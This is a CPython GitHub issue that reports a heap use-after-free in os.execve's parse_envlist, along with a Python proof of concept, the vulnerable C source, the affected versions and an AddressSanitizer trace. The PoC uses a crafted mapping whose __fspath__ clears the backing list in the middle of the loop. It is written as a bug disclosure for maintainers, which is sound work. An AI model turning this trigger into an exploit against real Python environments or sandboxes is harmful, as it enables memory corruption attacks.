Skip to content

Use-after-free in parse_envlist via re-entrant env.keys() or env.values() #143309

@jackfromeast

Description

@jackfromeast

What happened?

In parse_envlist the borrowed entries from PyMapping_Keys and PyMapping_Values are processed by PyUnicode_FSConverter, which triggers user __fspath__ on PathEntry objects. The crafted AliasEnv drops each entry during conversion so the loop keeps a dangling pointer, and the subsequent PyOS_FSPath access reuses freed memory leading to a use-after-free.

Proof of Concept:

import os

victim_list = []

class ExploitPath:
    def __fspath__(self):
        victim_list.clear()
        return b"pwn"

class EvilEnv:
    def __len__(self): return 1
    def keys(self): return victim_list
    def values(self): return victim_list
    def __getitem__(self, key): return 1

victim_list.append(ExploitPath())

try:
    os.execve("/bin/sh", ["sh"], EvilEnv())
except OSError:
    pass

Affected Versions

Details
Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) ASAN 1
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] ASAN 1

Vulnerable Code

Details
/* Buggy Re-entrant Path */
static PyObject *
os_execve_impl(PyObject *module, path_t *path, PyObject *argv, PyObject *env)
/*[clinic end generated code: output=ff9fa8e4da8bde58 input=626804fa092606d9]*/
{
    /* ... */
    envlist = parse_envlist(env, &envc);
    if (envlist == NULL)
        goto fail_0;
    /* ... */
    return NULL;
}

static EXECV_CHAR**
parse_envlist(PyObject* env, Py_ssize_t *envc_ptr)
{
    Py_ssize_t i, pos, envc;
    PyObject *keys=NULL, *vals=NULL;
    PyObject *key2, *val2, *keyval;
    EXECV_CHAR **envlist;

    i = PyMapping_Size(env);
    if (i < 0)
        return NULL;
    envlist = PyMem_NEW(EXECV_CHAR *, i + 1);
    if (envlist == NULL) {
        PyErr_NoMemory();
        return NULL;
    }
    envc = 0;
    keys = PyMapping_Keys(env);
    if (!keys)
        goto error;
    vals = PyMapping_Values(env);
    if (!vals)
        goto error;
    if (!PyList_Check(keys) || !PyList_Check(vals)) {
        PyErr_Format(PyExc_TypeError,
                     "env.keys() or env.values() is not a list");
        goto error;
    }

    for (pos = 0; pos < i; pos++) {
        PyObject *key = PyList_GetItem(keys, pos);  /* crashing pointer derived */
        if (key == NULL) {
            goto error;
        }
        PyObject *val = PyList_GetItem(vals, pos);
        if (val == NULL) {
            goto error;
        }

#if defined(HAVE_WEXECV) || defined(HAVE_WSPAWNV)
        if (!PyUnicode_FSDecoder(key, &key2))
            goto error;
        if (!PyUnicode_FSDecoder(val, &val2)) {
            Py_DECREF(key2);
            goto error;
        }
        /* Search from index 1 because on Windows starting '=' is allowed for
           defining hidden environment variables. */
        if (PyUnicode_GET_LENGTH(key2) == 0 ||
            PyUnicode_FindChar(key2, '=', 1, PyUnicode_GET_LENGTH(key2), 1) != -1)
        {
            PyErr_SetString(PyExc_ValueError, "illegal environment variable name");
            Py_DECREF(key2);
            Py_DECREF(val2);
            goto error;
        }
        keyval = PyUnicode_FromFormat("%U=%U", key2, val2);
#else   
        if (!PyUnicode_FSConverter(key, &key2))  /* Reentrant call site */
            goto error;
        if (!PyUnicode_FSConverter(val, &val2)) {
            Py_DECREF(key2);
            goto error;
        }
        if (PyBytes_GET_SIZE(key2) == 0 ||
            strchr(PyBytes_AS_STRING(key2) + 1, '=') != NULL)
        {
            PyErr_SetString(PyExc_ValueError, "illegal environment variable name");
            Py_DECREF(key2);
            Py_DECREF(val2);
            goto error;
        }
        keyval = PyBytes_FromFormat("%s=%s", PyBytes_AS_STRING(key2),
                                             PyBytes_AS_STRING(val2));
#endif
        Py_DECREF(key2);
        Py_DECREF(val2);
        if (!keyval)
            goto error;

        if (!fsconvert_strdup(keyval, &envlist[envc++])) {
            Py_DECREF(keyval);
            goto error;
        }

        Py_DECREF(keyval);
    }
    Py_DECREF(vals);
    Py_DECREF(keys);

    envlist[envc] = 0;
    *envc_ptr = envc;
    return envlist;

error:
    Py_XDECREF(keys);
    Py_XDECREF(vals);
    free_string_array(envlist, envc);
    return NULL;
}

PyObject *
PyOS_FSPath(PyObject *path)
{
    if (PyUnicode_Check(path) || PyBytes_Check(path)) {  /* Crash site */
        return Py_NewRef(path);
    }
    /* ... */
    return path_repr;
}

/* Clobbering Path */
static void
list_clear_impl(PyListObject *a, bool is_resize)
{
    PyObject **items = a->ob_item;
    /* Because XDECREF can recursively invoke operations on this list,
       we make it empty first. */
    Py_ssize_t i = Py_SIZE(a);
    Py_SET_SIZE(a, 0);
    FT_ATOMIC_STORE_PTR_RELEASE(a->ob_item, NULL);  /* state mutate site */
    /* ... */
}

Sanitizer Output

Details
=================================================================
==1945479==ERROR: AddressSanitizer: heap-use-after-free on address 0x513000026178 at pc 0x56350df671ad bp 0x7fff44ef1d50 sp 0x7fff44ef1d40
READ of size 8 at 0x513000026178 thread T0
    #0 0x56350df671ac in _Py_TYPE Include/object.h:277
    #1 0x56350df671ac in PyOS_FSPath Modules/posixmodule.c:16657
    #2 0x56350dc9c7c0 in PyUnicode_FSConverter Objects/unicodeobject.c:4096
    #3 0x56350df50e11 in parse_envlist Modules/posixmodule.c:6931
    #4 0x56350df5146f in os_execve_impl Modules/posixmodule.c:7134
    #5 0x56350df51b6f in os_execve Modules/clinic/posixmodule.c.h:3764
    #6 0x56350dbbc123 in cfunction_vectorcall_FASTCALL_KEYWORDS Objects/methodobject.c:465
    #7 0x56350db09e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #8 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327
    #9 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #10 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #11 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001
    #12 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884
    #13 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365
    #14 0x56350dec3723 in run_mod Python/pythonrun.c:1459
    #15 0x56350dec457a in pyrun_file Python/pythonrun.c:1293
    #16 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #17 0x56350dec74f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #18 0x56350df1874d in pymain_run_file_obj Modules/main.c:410
    #19 0x56350df189b4 in pymain_run_file Modules/main.c:429
    #20 0x56350df1a1b2 in pymain_run_python Modules/main.c:691
    #21 0x56350df1a842 in Py_RunMain Modules/main.c:772
    #22 0x56350df1aa2e in pymain_main Modules/main.c:802
    #23 0x56350df1adb3 in Py_BytesMain Modules/main.c:826
    #24 0x56350d99e645 in main Programs/python.c:15
    #25 0x715784c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #26 0x715784c2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #27 0x56350d99e574 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: 202d5dbb945f6d5f5a66ad50e2688d56affd6ecb)

0x513000026178 is located 56 bytes inside of 352-byte region [0x513000026140,0x5130000262a0)
freed by thread T0 here:
    #0 0x7157850fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x56350dbd096d in _PyMem_RawFree Objects/obmalloc.c:91
    #2 0x56350dbd2cd9 in _PyMem_DebugRawFree Objects/obmalloc.c:2955
    #3 0x56350dbd2d1a in _PyMem_DebugFree Objects/obmalloc.c:3100
    #4 0x56350dbfb06c in PyObject_Free Objects/obmalloc.c:1522
    #5 0x56350de39cf7 in PyObject_GC_Del Python/gc.c:2435
    #6 0x56350dc151cb in object_dealloc Objects/typeobject.c:7177
    #7 0x56350dc33663 in subtype_dealloc Objects/typeobject.c:2852
    #8 0x56350dbc7481 in _Py_Dealloc Objects/object.c:3200
    #9 0x56350db10b24 in Py_DECREF Include/refcount.h:401
    #10 0x56350db10c7f in Py_XDECREF Include/refcount.h:511
    #11 0x56350db11164 in method_dealloc Objects/classobject.c:251
    #12 0x56350dbc7481 in _Py_Dealloc Objects/object.c:3200
    #13 0x56350df32f6e in Py_DECREF Include/refcount.h:401
    #14 0x56350df671fb in PyOS_FSPath Modules/posixmodule.c:16670
    #15 0x56350dc9c7c0 in PyUnicode_FSConverter Objects/unicodeobject.c:4096
    #16 0x56350df50dfd in parse_envlist Modules/posixmodule.c:6929
    #17 0x56350df5146f in os_execve_impl Modules/posixmodule.c:7134
    #18 0x56350df51b6f in os_execve Modules/clinic/posixmodule.c.h:3764
    #19 0x56350dbbc123 in cfunction_vectorcall_FASTCALL_KEYWORDS Objects/methodobject.c:465
    #20 0x56350db09e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #21 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327
    #22 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #23 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #24 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001
    #25 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884
    #26 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365
    #27 0x56350dec3723 in run_mod Python/pythonrun.c:1459
    #28 0x56350dec457a in pyrun_file Python/pythonrun.c:1293
    #29 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521

previously allocated by thread T0 here:
    #0 0x7157850fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x56350dbd1284 in _PyMem_RawMalloc Objects/obmalloc.c:63
    #2 0x56350dbd0655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887
    #3 0x56350dbd06bd in _PyMem_DebugRawMalloc Objects/obmalloc.c:2920
    #4 0x56350dbd1f3b in _PyMem_DebugMalloc Objects/obmalloc.c:3085
    #5 0x56350dbfaf28 in PyObject_Malloc Objects/obmalloc.c:1493
    #6 0x56350dc2d03b in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46
    #7 0x56350dc2d03b in _PyType_AllocNoTrack Objects/typeobject.c:2504
    #8 0x56350dc2d1c7 in PyType_GenericAlloc Objects/typeobject.c:2535
    #9 0x56350dc2510e in object_new Objects/typeobject.c:7167
    #10 0x56350dc30346 in type_call Objects/typeobject.c:2448
    #11 0x56350db09c71 in _PyObject_MakeTpCall Objects/call.c:242
    #12 0x56350db09f19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167
    #13 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327
    #14 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #15 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #16 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001
    #17 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884
    #18 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365
    #19 0x56350dec3723 in run_mod Python/pythonrun.c:1459
    #20 0x56350dec457a in pyrun_file Python/pythonrun.c:1293
    #21 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #22 0x56350dec74f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #23 0x56350df1874d in pymain_run_file_obj Modules/main.c:410
    #24 0x56350df189b4 in pymain_run_file Modules/main.c:429
    #25 0x56350df1a1b2 in pymain_run_python Modules/main.c:691
    #26 0x56350df1a842 in Py_RunMain Modules/main.c:772
    #27 0x56350df1aa2e in pymain_main Modules/main.c:802
    #28 0x56350df1adb3 in Py_BytesMain Modules/main.c:826
    #29 0x56350d99e645 in main Programs/python.c:15
    #30 0x715784c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPE
Shadow bytes around the buggy address:
  0x513000025e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x513000025f00: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
  0x513000025f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x513000026000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x513000026080: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x513000026100: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd[fd]
  0x513000026180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x513000026200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x513000026280: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
  0x513000026300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x513000026380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1945479==ABORTING

Linked PRs

Metadata

Metadata

Assignees

Labels

extension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions